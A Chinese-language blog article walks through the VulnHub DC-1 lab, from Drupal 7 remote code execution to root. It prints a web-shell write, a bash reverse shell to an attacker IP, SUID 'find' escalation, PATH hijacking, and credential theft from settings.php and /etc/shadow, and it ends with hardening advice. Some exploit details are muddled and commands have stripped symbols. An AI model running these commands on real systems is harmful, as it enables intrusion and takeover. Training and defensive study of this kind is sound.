尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

Drupal 7漏洞利用与Linux提权实战:从Web渗透到Root权限的完整路径解析

Drupal 7漏洞利用与Linux提权实战:从Web渗透到Root权限的完整路径解析 1. 项目概述与核心目标拿到“DC靶场实战从Drupal 7漏洞到Root权限的完整渗透路径”这个标题我仿佛又回到了当年在靶场里反复折腾、记录笔记的时光。这不仅仅是一个简单的漏洞利用练习它更像是一个经典的渗透测试“样板间”完整地串联了从外部信息收集、Web应用漏洞利用到系统内部横向移动和最终权限提升的整个攻击链。对于刚入门安全测试的朋友来说啃下这样一个靶场其价值远超零散地学习几个独立漏洞。它强迫你建立起一个完整的攻击者思维如何像水流一样从一个微小的缝隙比如一个CMS的已知漏洞渗透进去并最终漫灌至整个系统的最高权限。这个靶场通常指VulnHub上的DC系列尤其是DC-1的核心目标非常明确从一个仅开放了80端口的Drupal 7网站开始通过利用其已知的安全缺陷逐步深入系统内部最终获取到服务器的最高管理员root权限。整个过程模拟了一个攻击者面对一个老旧但仍在运行的Web应用时的标准攻击路径。你会用到信息枚举、漏洞搜索与利用、密码破解、权限提升等一系列基础但至关重要的技能。完成它你不仅能掌握几个具体工具如searchsploit,hydra,find的命令更能深刻理解“漏洞利用链”和“权限提升”这两个渗透测试中的核心概念。无论你是想转型渗透测试还是作为开发人员想理解攻击者的视角以更好地防御这个实战路径都极具参考价值。2. 环境准备与靶场搭建2.1 靶机获取与初始化首先我们需要一个靶场环境。VulnHub上的DC-1靶机是实践这个路径的绝佳选择。它的镜像文件通常是一个.ova或.vmdk格式的虚拟机文件。我个人的习惯是使用VMware Workstation或VirtualBox来运行它。这里有个关键细节务必确保靶机网络设置为“桥接”或“NAT”模式下的同一网段以便你的攻击机通常是Kali Linux能够与之通信。启动靶机后你通常看不到登录界面因为它设计为无头启动只开放服务。这时你需要用netdiscover、arp-scan或者直接查看虚拟网络编辑器来找到它的IP地址。假设我们扫描发现靶机IP为192.168.1.105。注意在真实企业内网测试中获取IP段后大规模扫描需谨慎并确保获得授权。靶场环境则无此限制。2.2 攻击机工具配置攻击机我推荐使用Kali Linux它集成了我们所需的大部分工具。在开始前请确保你的Kali系统是最新的sudo apt update sudo apt upgrade -y特别是其中与漏洞利用相关的数据库比如Exploit-DB的本地副本它由searchsploit工具调用。你可以通过searchsploit -u来更新。此外像hydra、ncnetcat、python、php等基础工具也需确保可用。一个整洁、准备就绪的工作环境是高效渗透的第一步。3. 信息收集与漏洞侦查3.1 端口与服务发现一切从侦察开始。我们知道了目标IP192.168.1.105但不知道它开放了哪些门端口。使用Nmap进行全端口扫描是标准操作nmap -sV -sC -p- 192.168.1.105 -oA dc_scan参数解释-sV: 探测服务版本至关重要因为漏洞往往与特定版本绑定。-sC: 使用默认的Nmap脚本进行更深入的侦察有时能直接发现线索。-p-: 扫描所有65535个端口避免遗漏。-oA dc_scan: 将结果以所有格式normal, XML, grepable输出方便后续查阅。扫描结果很可能显示只开放了80端口运行着Apache httpd和Drupal。这印证了我们的标题目标就是一个Drupal网站。版本探测信息可能会明确显示“Drupal 7.x”。至此攻击面基本锁定在Web应用层。3.2 Web应用指纹识别与目录枚举接下来我们访问http://192.168.1.105。浏览器打开后一个典型的Drupal站点映入眼帘。我们需要确认其确切版本。有几种方法查看页面源码Drupal通常在meta标签或README.txt等文件中包含生成器信息。使用专门工具如whatweb或wappalyzer浏览器插件。检查特定文件访问/CHANGELOG.txtDrupal会在这里详细记录版本更新日志这是最准确的方式之一。确认是Drupal 7.x比如7.24后我们进行目录枚举寻找后台登录入口、配置文件、备份文件等可能泄露信息的路径。使用gobuster或dirbgobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,old,bak这个步骤可能会发现/user/loginDrupal后台登录页、/robots.txt、以及一些模块目录。访问/user/login我们看到了登录表单这将是后续一个可能的突破口。4. Drupal 7漏洞利用与初始访问4.1 漏洞搜索与验证知道是Drupal 7.x后我们立刻要联想其历史著名漏洞。使用searchsploit在本地数据库搜索searchsploit drupal 7你会看到一系列结果其中非常显眼的一个是“Drupal 7.x Module Services - Remote Code Execution”编号通常类似41564.php。这就是著名的Drupalgeddon 2CVE-2018-7600漏洞。其原理是Drupal对表单API的渲染过程中未充分过滤用户输入导致在特定条件下可以注入恶意参数最终实现远程代码执行。尽管DC-1靶场可能更早发布但很多复现环境都集成了此漏洞用于教学。实操心得不要盲目使用搜索到的第一个利用脚本。先阅读其描述了解利用条件和影响版本。有些脚本可能需要修改或者需要特定的参数如PHP的expect模块。对于Drupalgeddon 2社区有非常成熟的利用工具比如droopescan或专门的Python脚本。4.2 利用漏洞获取Web Shell我们使用一个经典的Python利用脚本例如exploit.py。运行前可能需要根据脚本说明安装依赖如requests库。基本用法是python3 exploit.py -t http://192.168.1.105 -c “whoami”如果漏洞存在且利用成功命令whoami的结果通常是www-data会返回这证明我们可以在目标服务器上以Web服务用户的身份执行任意命令。这是里程碑式的一步意味着我们获得了初始立足点。接下来我们要建立一个更稳定的连接即上传一个Web Shell。我们可以用脚本直接写入一个一句话PHP木马到Web目录python3 exploit.py -t http://192.168.1.105 -c “echo ‘?php system(\$_GET[“cmd”]); ?’ /var/www/html/shell.php”然后访问http://192.168.1.105/shell.php?cmdid来验证。但是这种方法容易被发现。更隐蔽的方式是使用nc或msfvenom生成一个反向Shell。# 在攻击机监听 nc -lvnp 4444 # 利用漏洞在目标机执行反向连接命令 python3 exploit.py -t http://192.168.1.105 -c “bash -c ‘bash -i /dev/tcp/192.168.1.100/4444 01’”假设192.168.1.100是攻击机IP执行成功后你会在nc监听端获得一个交互式的www-data用户的Shell。至此我们已成功突破边界进入目标系统内部。5. 系统内部信息枚举与横向移动5.1 基础信息收集获得Shell后第一件事不是乱跑而是系统地收集信息为下一步提权做准备。执行以下命令whoami # 当前用户 id # 用户及组信息 pwd # 当前目录 uname -a # 系统内核版本 cat /etc/issue # 操作系统发行版信息 cat /etc/passwd # 查看所有用户 cat /etc/shadow 2/dev/null # 查看密码哈希通常需要root ls -la /home # 查看家目录 ps aux # 查看运行进程 netstat -tulnp 或 ss -tulnp # 查看网络连接 find / -perm -us -type f 2/dev/null # 查找SUID文件关键在DC-1靶场中执行find / -perm -us -type f 2/dev/null可能会发现一个不寻常的二进制文件例如/usr/bin/find本身具有SUID权限或者像/bin/bash、/usr/bin/vim等。这是一个重要的提权线索。5.2 数据库凭证提取与密码破解Drupal的配置文件settings.php中存储着数据库连接凭证这往往是通往更多数据的钥匙。这个文件通常位于Drupal站点的sites/default目录下。cd /var/www/html find . -name settings.php -type f 2/dev/null cat ./sites/default/settings.php在配置文件中你会找到类似以下的数组$databases array ( ‘default’ array ( ‘default’ array ( ‘database’ ‘drupaldb’, ‘username’ ‘dbuser’, ‘password’ ‘R0ckM3!’, ‘host’ ‘localhost’, ‘port’ ‘’, ‘driver’ ‘mysql’, ‘prefix’ ‘’, ), ), );现在我们有了数据库用户名dbuser和密码R0ckM3!。使用MySQL客户端连接数据库mysql -u dbuser -pR0ckM3! -D drupaldb在MySQL中Drupal的用户密码哈希存储在users表里。我们可以查询SELECT name, pass FROM users;你会得到管理员如admin的密码哈希值Drupal 7使用Drupal特有的哈希算法。这个哈希值可以被john或hashcat这类工具破解。但这里有一个更直接的思路密码复用。系统用户如SSH用户是否使用了与数据库相同的密码我们可以尝试用这个密码R0ckM3!来SSH登录发现的系统用户比如从/etc/passwd中看到有bruce、fred等用户。ssh bruce192.168.1.105 # 输入密码 R0ckM3!如果运气好密码复用成功我们就获得了另一个权限更高的用户Shell可能还是普通用户但比www-data更接近目标。6. 权限提升技术深度解析6.1 SUID/SGID二进制文件提权这是Linux系统中最经典的提权方法之一。SUIDSet User ID位赋予了一个文件在执行时以文件所有者的权限运行而不是执行者的权限。我们之前用find命令已经找到了所有SUID文件。现在需要逐一审计这些文件看是否有可利用的。一个广为人知的例子就是find命令本身。如果/usr/bin/find具有SUID位且属于root我们可以利用它来执行任意命令/usr/bin/find . -exec /bin/sh \; -quit执行后你会获得一个root Shell。这是因为find的-exec参数会以root权限执行/bin/sh。在DC-1靶场中关键线索往往是一个自定义的、具有SUID权限的脚本或二进制文件。你需要仔细检查这些文件的权限、所有者并尝试运行它们或者查看其是否调用了其他命令利用strings命令查看文件中的字符串。例如可能有一个/home/fred/backups.sh脚本它以root权限运行并且内部调用了tar命令但没有使用绝对路径。那么我们可以通过修改环境变量PATH让我们自己的恶意tar程序优先被执行从而实现提权。6.2 利用环境变量劫持PATH这种提权方式在编写不规范的脚本中很常见。假设我们发现一个root所有的SUID脚本/opt/scripts/admin_tool其内容大致是调用service apache2 restart。它没有使用/usr/sbin/service这样的绝对路径。我们可以这样做创建一个名为service的恶意脚本内容为/bin/bash。给这个脚本执行权限chmod x service。将当前目录或存放恶意脚本的目录添加到环境变量PATH的最前面export PATH/tmp:$PATH假设脚本在/tmp。运行那个SUID脚本/opt/scripts/admin_tool。当脚本尝试执行service时系统会在PATH中查找首先找到我们恶意的/tmp/service并以root权限执行它从而给我们一个root shell。6.3 内核漏洞提权如果上述方法都行不通我们需要检查内核版本是否存在公开的提权漏洞。使用uname -a查看内核版本然后使用searchsploit linux kernel 版本号搜索。例如著名的Dirty CowCVE-2016-5195漏洞影响范围极广。找到对应的利用代码通常是C语言编写在目标机上编译执行即可。编译与执行注意事项目标机可能没有gcc需要交叉编译或寻找静态编译好的二进制版本上传。执行内核漏洞利用有风险可能导致系统崩溃靶机无所谓。务必在获得明确授权的前提下在真实环境中进行此类操作。在DC-1中由于其设计年代很可能存在一个可以直接利用的内核漏洞。上传预编译的exp或现场编译运行后即可获得root权限。7. 完整渗透路径串联与复盘现在让我们把整个链条串联起来复盘DC-1靶场的完整渗透路径信息收集Nmap扫描发现80端口开放Drupal 7。漏洞利用利用searchsploit找到Drupalgeddon 2CVE-2018-7600漏洞使用公开EXP获得远程代码执行能力并建立反向Shell获得www-data权限。内部枚举在Shell中枚举系统信息发现SUID文件并找到Drupal的settings.php配置文件。凭证获取从settings.php中提取数据库密码R0ckM3!。横向移动尝试密码复用成功SSH登录系统用户如bruce或fred获得一个更稳定的Shell。权限提升路径一SUID审计发现的SUID文件如find直接利用其特性提权至root。路径二数据库连接数据库可能发现Drupal管理员密码哈希破解后登录Drupal后台寻找能写入文件或执行代码的模块如PHP Filter写入Web Shell再结合系统配置提权。路径三内核漏洞检查内核版本寻找对应提权EXP并执行。获取Flag提权至root后在/root目录下找到最终的flag文件如thefinalflag.txt读取内容完成挑战。避坑技巧在实际操作中利用漏洞写入Web Shell时注意目录的可写权限。/var/www/html是常见位置但有时需要写到/tmp再移动。另外使用反向Shell时确保攻击机的防火墙放行了对应端口并且命令中的IP和端口正确。密码破解环节如果哈希强度高破解可能不现实应优先尝试密码复用和横向移动。8. 防御视角下的思考与加固建议作为一名渗透测试者完成任务后从防御角度反思如何防止此类攻击至关重要。这不仅是职业要求也是提升技术深度的途径。及时更新与补丁管理Drupal 7.x的漏洞之所以能被利用根本原因是系统未及时打补丁。任何公开超过一定时间的CMS漏洞都会被自动化扫描工具捕捉。必须建立严格的补丁更新流程特别是对面向公网的Web应用。最小权限原则Web服务如www-data应运行在严格的权限之下不能有执行敏感命令或写入关键目录的能力。数据库用户应仅被授予应用所需的最小权限避免使用高权限账户连接。严格审查系统上的SUID/SGID文件移除非必要的设置。使用命令find / -perm /6000 -type f 2/dev/null定期审计。密码策略与禁用复用强制使用强密码并定期更换。绝对禁止在不同服务如数据库、操作系统、CMS后台间使用相同密码。这是DC-1靶场给出的最直接教训。对Drupal等CMS启用双因素认证2FA可以极大增加后台爆破的难度。输入验证与安全配置针对Drupalgeddon这类注入漏洞根本原因是输入过滤不严。开发时应严格遵循安全编码规范对用户输入进行充分的验证、过滤和转义。同时关闭服务器不必要的详细错误信息防止信息泄露。网络隔离与监控将Web服务器置于DMZ区与内网核心资产隔离。部署WAFWeb应用防火墙可以拦截大量已知的漏洞利用尝试。同时启用详细的日志记录和实时监控对异常行为如暴力破解、非常规文件访问、反向Shell连接设置告警。通过这样一个从攻到防的完整循环你不仅学会了如何“攻破”一个靶场更理解了每一个攻击步骤对应的防御点在哪里。这才是渗透测试学习的核心价值以攻击者的思维发现弱点最终目的是为了构建更坚固的防御。DC-1这个老靶场至今仍是入门者理解这套逻辑的绝佳教材。
返回列表